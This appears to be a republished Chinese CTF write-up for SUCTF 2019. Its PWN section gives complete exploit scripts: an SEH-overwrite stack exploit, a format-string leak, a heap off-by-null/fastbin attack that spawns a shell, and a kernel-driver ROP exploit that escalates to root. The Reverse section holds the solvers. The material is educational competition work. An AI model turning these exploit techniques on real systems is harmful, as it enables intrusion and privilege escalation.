SUCTF-WriteUp(下)

PWN

BabyStack

解题思路

首先注意到主程序会decode hex,而后:

 .text:00BA854C                 call    loc_BA8552
.text:00BA854C ; 
.text:00BA8552 loc_BA8552:                             ; CODE XREF: sub_BA83E0:loc_BA854C↑j
.text:00BA8552                 pop     eax
.text:00BA8553                 mov     esi, [ebp+var_2C]
.text:00BA8556                 sub     esi, eax
.text:00BA8558                 div     esi

当造成除零错误即会根据 CPPEH_RECORD结构体转去执行:

.rdata:00C1ACE0 stru_C1ACE0     dd 0FFFFFFE4h           ; GSCookieOffset
.rdata:00C1ACE0                                         ; DATA XREF: sub_BA83E0+5↑o
.rdata:00C1ACE0                 dd 0                    ; GSCookieXOROffset ; SEH scope table for function 4083E0
.rdata:00C1ACE0                 dd 0FFFFFFC0h           ; EHCookieOffset
.rdata:00C1ACE0                 dd 0                    ; EHCookieXOROffset
.rdata:00C1ACE0                 dd 0FFFFFFFEh           ; ScopeRecord.EnclosingLevel
.rdata:00C1ACE0                 dd offset loc_BA8583    ; ScopeRecord.FilterFunc
.rdata:00C1ACE0                 dd offset loc_BA8589    ; ScopeRecord.HandlerFunc

中的函数

而后就有了几次任意地址读且栈溢的机会,因此直接在任意地址读时读取伪造CPPEH_RECORD需要的其他信息(cookie等)

而后伪造CPPEH_RECORD中ScopeTable^___security_cookie指向我们在栈中伪造的结构体(同时注意在栈中绕过___security_cookie检查),而后即可在任意地址读时读一个非法地址造成错误转而指向

我们伪造结构体中的函数,注意到有一处:

.text:00DE8266                 push    offset aTypeFlagTxt ; "type flag.txt"
.text:00DE826B                 call    system
.text:00DE8270                 add     esp, 4

指向此即可最后get flag

from pwn import *
import time
context.log_level="debug"
p=remote("121.40.159.66",6666)
#p.sendlineafter("1234>","BabyStack.exe")
p.recvuntil("stack address = ")
stack_addr=int(p.recvuntil("\n").strip(),16)
p.recvuntil("= ")
main_addr=int(p.recvuntil("\n").strip(),16)
print hex(stack_addr),hex(main_addr)
code1=hex(main_addr+0x1018551-0x101395E)[2:].upper().rjust(8,"0")
p.sendlineafter("\r\n",code1)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(main_addr+0x108C004-0x101395E))
p.recvuntil("is ")
cookie=int(p.recvuntil("\n"),16)
print hex(cookie)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8))
p.recvuntil("is ")
magic1=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+4))
p.recvuntil("is ")
magic2=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+8))
p.recvuntil("is ")
magic3=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x12FFCC8-0x12FFD04))
p.recvuntil("is ")
magic4=int(p.recvuntil("\r\n"),16)
addr=stack_addr+0x98FDE0-0x98FEA8
payload="aaaa"+p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(main_addr+0x1018266-0x101395E)*2+p32(magic4)*29+p32(magic1)+p32(magic2)+p32(magic3)+p32(main_addr+0x1019A30-0x101395E)+p32(cookie^addr)+p32(0)
#time.sleep(20)
p.sendlineafter("\r\n","kirin")
#time.sleep(20)
p.sendline(payload)
p.sendlineafter("more?\r\n","yes")
p.sendlineafter("?\r\n","kirin")
p.interactive()

playfmt 解题思路

格式化字符串漏洞且读取的flag在堆上

格式化字符串在全局变量

直接修改一个栈内指向另一个栈内指针的指针即可将一个指针指向堆指针处

而后再修改低字节指向&flag,%s即得flag

from pwn import *

context.log_level="debug"
#p=process("./playfmt")
p=remote("120.78.192.35",9999)
p.recvuntil("=\n")
p.sendlineafter("=\n","%6$lx")
s="0x"+p.recvuntil("\n")
stack_addr=int(s.strip(),16)
print hex(stack_addr)
stack2=stack_addr+0xFFFFCF28-0xffffcef8-0x20
p.sendline("%"+str(stack2&0xff)+"c%6$hhn")
p.sendline("%16c%14$hhn")
p.sendline("%18$s")
p.interactive()

二手破电脑

解题思路

程序在添加note时scanf存在off by null

利用off by null构造unlink,造成堆重叠,然后即可leak堆和libc地址

因为32位各种hook的周围合法地址只有"0xff"(32位程序高地址0xFF)

所以选择unsored bin attack覆盖global_max_fast即可成功将fastbin分配到realloc hook周围

而后fastbin attack修改realloc hook为system,在edit过程即可执行system("/bin/sh")来get shell

from pwn import *

context.log_level="debug"
def add(l,note,prize):
  p.sendlineafter(">>> ","1") 
  p.sendlineafter(": ",str(l))
  p.sendafter(": ",note)
  p.sendlineafter(": ",str(prize))
def comment(index,note,score):
  p.sendlineafter(">>> ","2") 
  p.sendlineafter(": ",str(index))
  p.sendafter(": ",note)
  p.sendlineafter(": ",str(score))
def delete(index):
  p.sendlineafter(">>> ","3") 
  p.sendlineafter(": ",str(index))
  p.recvuntil("Comment ")
  s=p.recvuntil("1.")
  return s
def edit(index,note,power=0,serial=""):
  p.sendlineafter(">>> ","4") 
  p.sendlineafter(": ",str(index))
  p.send(note)
  if power:
     p.sendlineafter(")","y")
     p.sendafter("serial: ",serial)
  else: 
     p.sendlineafter(")","n")
#p=process("./pwn")
p=remote("47.111.59.243",10001)
add(0x14,"a"*0x13+"\n",0)
comment(0,"bbbb",12)
add(0x14,"cccc\n",1)
delete(0)
comment(1,"b",12)
libc_addr=u32(delete(1)[0:4])+0xf7dfa000-0xf7fac762+0x2000
print hex(libc_addr)
#gdb.attach(p)
add(0x14,"aaaaaa\n",0)
add(0xfc,"ddddddd\n",1)
add(0x14,"eeee\n",2)
delete(0)
add(0x14,"a"*0x14,0)
delete(0)
for i in range(5):
  add(0x14,"a"*(0x14-i-1)+"\n",0)
  delete(0)
add(0x14,"a"*16+"\xa8"+"\n",0)
delete(1)
add(0x24,"aaaaaa\n",0)
comment(2,"2"*84,0)
s=delete(2)
heap_addr=u32(s[84:84+4])
print hex(heap_addr)
add(0x14,"a\n",0)
comment(1,"1"*72+p32(0)+p32(0x19)+p32(heap_addr++0x2c8)+p32(heap_addr)+p32(0)*2+p32(0)+p32(0x91),0)
comment(2,p32(0)*24+p32(0)+p32(0x19)+"a"*16+p32(0)+p32(0x19),1)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0x14,"a\n",0)
delete(0)
delete(2)
comment(3,p32(0)*9+p32(0x91)+p32(libc_addr-0xf7e1f000+0xf7fcf7b0)+p32(libc_addr+0x1b18e0-0x8),0)
comment(4,"4444",0)
add(0x14,"a\n",0)
add(0x14,p32(heap_addr+0x2e0)+p32(heap_addr+0x1d8)+"\n",0)
delete(5)
delete(4)
delete(6)
#gdb.attach(p)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,"/bin/sh\n",1)
add(0xec,"a"*17+p32(libc_addr+0x3a940)+"\n",1)
print hex(libc_addr)
#gdb.attach(p)
p.interactive()

sudrv

解题思路

qemu:

#! /bin/sh

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep

开启了kalsr和smep

init:

#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mknod -m 622 console c 5 1
mknod -m 622 tty0 c 4 0
insmod sudrv.ko
mknod /dev/meizijiutql c 233 0
chmod 666 /dev/meizijiutql
mdev -s
sysctl kernel.dmesg_restrict=0
# echo "7 7 7 7" > /proc/sys/kernel/printk
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# /bin/sh

内核会加载驱动sudrv.ko

很显然驱动里有两处漏洞:

格式化字符串:

.text.unlikely:00000000000000B8 sudrv_ioctl_cold_2 proc near            ; CODE XREF: sudrv_ioctl+62↑j
.text.unlikely:00000000000000B8                 call    printk          ; PIC mode
.text.unlikely:00000000000000BD
.text.unlikely:00000000000000BD loc_BD:    

堆溢出

.text:0000000000000000 sudrv_write     proc near
.text:0000000000000000                 mov     rdi, cs:su_buf
.text:0000000000000007                 call    copy_user_generic_unrolled ; PIC mode
.text:000000000000000C                 test    eax, eax
.text:000000000000000E                 jz      sudrv_write_cold_1
.text:0000000000000014                 mov     rax, 0FFFFFFFFFFFFFFFFh
.text:000000000000001B                 retn  

起初我想的是堆喷分配大量cred到buf附近完成提权

但是cred分配时候使用的是cred_jar,与kmalloc分配的地址不同

没有办法直接覆盖

而后想了第二个思路:kmalloc分配地址里很容易在+0x80处存在一个cred附近的地址,可以先利用printk leak这个地址,而后类似利用fastbin attack,利用堆溢出将下一个堆的fd指向预测的cred地址完成提权,不过由于比较随机,只在本地成功过几次

而后就是第三个思路:相邻内核操作之间栈地址相近,可以先用格式化字符串漏洞leak一个栈地址,并leak出内核加载基址,而后在write的时候构造rop链覆盖自己的返回地址来调用commit_creds(prepare_kernel_cred(0))完成提权,而后返回用户态get shell,起初一直ireq;ret回用户态总是会在用户态crash,而后选择sysret成功返回用户态,不过直接system老是段错误,只好直接execv一个写好system的程序,不过仍然有点小问题,gdb.attach一下可以完成利用,不过没有attach就会crash,不知道是qemu还是需要sleep什么问题

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define KERNCALL __attribute__((regparm(3)))

void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;
char *argv[]={NULL};   
char *envp[]={"PATH=/", NULL};
long int magic1;
long int magic2;
void shellcode(){
    execve("./sh_exp", argv, envp);
}

void new(int fd,int size){
     ioctl(fd,0x73311337,size);
}
void  out(int fd){
      ioctl(fd,0xdeadbeef);
}
void  delete(int fd){
    ioctl(fd,0x13377331);
}
void getroot(){
    commit_creds= magic2+0xffffffff81081790-0xffffffff811c827f;
    prepare_kernel_cred =magic2+0xffffffff81081410-0xffffffff811c827f;    
    size_t cred = prepare_kernel_cred(0);
    commit_creds(cred);
}
unsigned long user_cs, user_ss, user_eflags,user_sp    ;
void save_status() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
         :
         : "memory"
     );
}

int main(){
   save_status();
   long int buf[0x2000];
   memset(buf,0,sizeof(buf));
   int fd=open("/dev/meizijiutql",1);
   new(fd,0x100);
   write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",100);
   out(fd);
   out(fd);
//0xffffc9000018bed8
//0xffffc9000018be50
   scanf("%ld %ld",&magic1,&magic2);
//please input stack_addr && exec_base addr
   buf[30]=0x800000;
   buf[31]=0xffffffffffffffff;
   buf[32]=magic1-0x88;
   new(fd,0x100);
   write(fd,buf,0x120);
   new(fd,0x100);
   new(fd,0x100);
   buf[0]=magic2+0xffffffff81001388-0xffffffff811c827f;
   buf[1]=0;
   buf[2]=magic2+0xffffffff81081790-0xffffffff811c827f;
   buf[3]=magic2+0xffffffff819e2959-0xffffffff811c827f;
   buf[4]=magic2+0xffffffff81081410-0xffffffff811c827f;
   buf[5]=buf[0];
   buf[6]=0x6f0;
   buf[7]=magic2+0xffffffff8104e5b1-0xffffffff811c827f;
   buf[8]=magic2+0xffffffff810674ff-0xffffffff811c827f;
   buf[9]=shellcode;
   buf[10]=magic2+0xffffffff81a000e1-0xffffffff811c827f;
   buf[11]=0;
   buf[12]=1;
   buf[13]=user_sp;
   buf[14]=0x401c60;
   buf[15]=user_sp;
   buf[16]=0x400418;
   buf[17]=user_eflags;
   buf[18]=shellcode;
   buf[19]=0x6d7f98;
   buf[20]=shellcode;
   buf[21]=shellcode;
   buf[22]=0x100;
   buf[23]=0x73311337;
   buf[24]=1;
   buf[25]=user_sp;
   buf[26]=7;
   buf[27]=shellcode;
   buf[28]=user_cs;
   buf[29]=user_eflags;
   buf[30]=user_sp;
   buf[31]=user_ss;
   write(fd,buf,280);
}
//gcc ./exp.c -o exp --static
#include <stdio.h>
#include <stdlib.h>

int main(){
system("/bin/sh");
}
//gcc ./shell_exp.c -o shell_exp --static

Reverse

SIGNIN

解题思路

import libnum
import gmpy2
p =  282164587459512124844245113950593348271
q = 366669102002966856876605669837014229419
e =  65537
c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
s = (p- 1) * (q - 1)
d =long(gmpy2.invert(e, s))
n = p *q
k=pow(c, d, n)
print libnum.n2s(k)

hardCPP

解题思路

带LLVM的CPP。代码比较少,很容易就能直接理出校验过程,输入经下面处理后与常量比较:

(r^s[i] + s[i+r-1]%7) ^ ((s[i+r-1]^18)*3 + 2)

其中r是运行时间,应该为0,s为输入。反解如下:

  s = [0x23]
  table = [0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C, 0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]
  for i,v in enumerate(table):
    t = ((v^((s[i]^18)*3 + 2)) - (s[i]%7)) & 0xff
    s.append(t)
  print ''.join(map(chr,s))

得#flag{mY-CurR1ed_Fns}。


Akira Homework

解题思路

主要是解DLL,动态调试 找出和dll代码操作的三个函数的参数 提取出DLL

不知道po叔怎么搞的,我是把所有检测debug的地方全部nop掉 然后在处理dll的三个关键函数下断提取对应参数

提取出DLL发现有个AES解密

key 是 Ak1i3aS3cre7K3y

#待解密的数据的(从此处得到)base64 encode 为:lL96DKQ1UNHCFezvnZqqVg==
  memset(Dst, 0, 0x8000ui64);
  Src = 0x94u;
  v14 = 0xBFu;
  v15 = 0x7A;
  v16 = 0xC;
  v17 = 0xA4u;
  v18 = 0x35;
  v19 = 0x50;
  v20 = 0xD1u;
  v21 = 0xC2u;
  v22 = 0x15;
  v23 = 0xECu;
  v24 = 0xEFu;
  v25 = 0x9Du;
  v26 = 0x9Au;
  v27 = 0xAAu;
  v28 = 0x56;
  memcpy(Dst, &Src, 0x10ui64);
  *((_QWORD *)&hFileMappingObject + 1) = CreateEventW(0i64, 0, 1, L"DLLInput");
#flag{Ak1rAWin!}
附上提取DLL脚本
p=open("WinRev.exe","rb")

z=bytearray(p.read())
p.close()
fff=z[0xefa0:0xefa0+0x4c00]
Str="Akira_aut0_ch3ss_!"
v4=len(Str)
for i in range(len(fff)):
    if(i%3==2):
        fff[i]=(fff[i]&0xf0)/0x10+(fff[i]&0xf)*0x10
    if(i%3==1):
        fff[i]=fff[i]^(0x33^0x6a)
    if((i%3)==0):
        fff[i]=fff[i]^ord(Str[(i/3)%v4])
p=open("kkk.exe","wb")
p.write(fff)
p.close()

程序使用了事件对象、多线程,还有反调试。

大致理了下,前三个事件是为了解码最终验证的dll。共了三次校验。第一次校验密码,第二次校验流数据的md5值,第三次就是最终校验了。

密码校验比较简单,就是乱序+异或。密码反解如下:

>>> l = [0x6A, 0x5A, 0x65, 0x6B, 0x71, 0x41, 0x72, 0x68, 0x55, 0x7C, 0x39, 0x67, 0x3E, 0x30, 0x4F, 0x7D, 0x7C, 0x64]
>>> idx= [1,5,4,2,3,0]
>>> l1 = [0]*18
>>> for i in range(18):
...   l1[6*(i/6)+idx[i%6]] = l[i]
...
>>> l1
[65, 106, 107, 113, 101, 90, 103, 114, 124, 57, 85, 104, 100, 62, 125, 124, 79, 48]
>>> for i in range(18):
...   l1[i] ^= i
...
>>> l1
[65, 107, 105, 114, 97, 95, 97, 117, 116, 48, 95, 99, 104, 51, 115, 115, 95, 33]
>>> print ''.join(map(chr,l1))
Akira_aut0_ch3ss_!

流数据内容直接查md5就可得到。

fcaeeb6e34b4303e99b91206bd325f2b==md5(Overwatch)

过了这两个校验,程序就可以完全解码dll文件了。也是到这里才发现前面的除了密码解dll有用,其它的都不要考虑。

IDA里直接解dll,并dump出来:

Python>addr = 0x1400111A0
Python>pl = [65, 107, 105, 114, 97, 95, 97, 117, 116, 48, 95, 99, 104, 51, 115, 115, 95, 33]
Python>for i in range(0x4c00):
Python>  if i%3 == 0:
Python>    PatchByte(addr+i,Byte(addr+i)^pl[i/3%18])
Python>  elif i%3 == 1:
Python>    PatchByte(addr+i,Byte(addr+i)^0x6a^0x33)
Python>  elif i%3 == 2:
Python>    PatchByte(addr+i,(Byte(addr+i)>>4)|((Byte(addr+i)<<4)&0xff))
Python>


Python>dump(0x1400111A0,0x4c00,r're\7a7cce71bf7944589ee6c2c389f79a8e\pe.bin')

解开的dll里,主要校验函数如下

AES解密校验数据94bf7a0ca43550d1c215ecef9d9aaa56与输入比较,直接解AES,得到flag{Ak1rAWin!}。


babyunic

解题思路

这题简单点说,就是一个loader调用unicorn执行了一段mips代码。直接ghidra反编出伪代码,是42元一次方程,直接z3求解。

得SUCTF{Un1c0rn_Engin3_Is_@_P0wer7ul_TO0ls!}。


Rev

解题思路

输入被符号字符分成3部分,分三次校验。

第一部分校验有点没看懂,但是不影响结果。简单异或可得第一部分必须必须有suctf,并是flag的开头。

第二部分校验要求4字节大写字母,相邻之间的字母ascii码差为2。

第三部分校验要求满足如下(v为输入,32bits空间内的计算)

(1234 * v + 5678) / 4396 ^ 0xABCDDCBA) == 0xABCDB8B9
(2334 * v + 9875) / 7777 ^ 0x12336790 == 0x1233FC70

直接z3求解

>>> from z3 import *
>>> v = BitVec('v',32)
>>> s = Solver()
>>> s.add((1234 * v + 5678) / 4396 ^ 0xABCDDCBA == 0xABCDB8B9)
>>> s.add((2334 * v + 9875) / 7777 ^ 0x12336790 == 0x1233FC70)
>>> s.check()
sat
>>> res = s.model()
>>> res
[v = 31415926]

所以最终输出的flag形式为suctf{ACEG31415926}。

第二部分不确定,所以小跑了下,准备逐个提交,想不到第一个就提交成功了。

Web、Misc、Crypto部分请看SUCTF-WriteUP(上)!

本文分享自微信公众号 - ChaMd5安全团队(chamd5sec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-08-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏DotNet Core圈圈

.NET中的值类型与引用类型

这是一个常见面试题,值类型(Value Type)和引用类型(Reference Type)有什么区别?他们性能方面有什么区别?

9220
来自专栏逆向与安全

某手游智能反外挂产品原理浅析

作者: 我是小三 博客: http://www.cnblogs.com/2014asm/ 由于时间和水平有限,本文会存在诸多不足,希望得到您的及时反馈与指正,多...

39640
来自专栏机器人课程与技术

ros2之turtlesim命令

版权声明:署名,允许他人基于本文进行创作,且必须基于与原先许可协议相同的许可协议分发本文 (Creative Commons)

14640
来自专栏Code思维奇妙屋

LeetCode :2.两数相加 解题报告及算法优化思路

还不知道到链表的童鞋可以粗略的看下百度百科或者是翻出数据结构的书看一看,通俗一点的语言来解释链表就是:上线和下线。

10430
来自专栏Bottom-up Material Design

LAMMPS的C++源代码的内部结构

LAMMPS作为分子动力学模拟软件,最大的优点在于其开源的C++代码。C++作为典型的面向对象的程序语言,拥有很好的封装性和继承性,便于全世界的研究者按照自己的...

43050
来自专栏Linux驱动

49.Qt-网络编程之QTCPSocket和QTCPServer(实现简易网络调试助手)

如下图所示,支持十六进制收发,下载地址已经更新.源码下载地址:https://download.csdn.net/download/qq_37997682/11...

1.1K40
来自专栏DotNet程序园

C# 10分钟完成百度语音技术(语音识别与合成)——入门篇

我们现在就基于百度Ai开放平台进行语音技术的相关操作,demo使用的是C#控制台应用程序。

31220
来自专栏Java程序猿部落

面试题深入解析:Synchronized底层实现

偏向锁的诞生背景和基本原理在上文中已经讲过了,强烈建议在有看过上篇文章的基础下阅读本文。

11120
来自专栏腾讯大讲堂的专栏

分享一种不太完美的接入网关设计

? 作者:朱江,腾讯工程师。 写在前面: ? 如上图所示,客户端通过HTTP+JSON协议请求ProxyServer,由其派发到后端不同服务的不同接口处理,从...

13850
来自专栏雪雁的专栏

ASP.NET Core on K8S深入学习(2)部署过程解析与部署Dashboard

上一篇《K8S集群部署》中搭建好了一个最小化的K8S集群,这一篇我们来部署一个ASP.NET Core WebAPI项目来介绍一下整个部署过程的运行机制,然后部...

8920

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励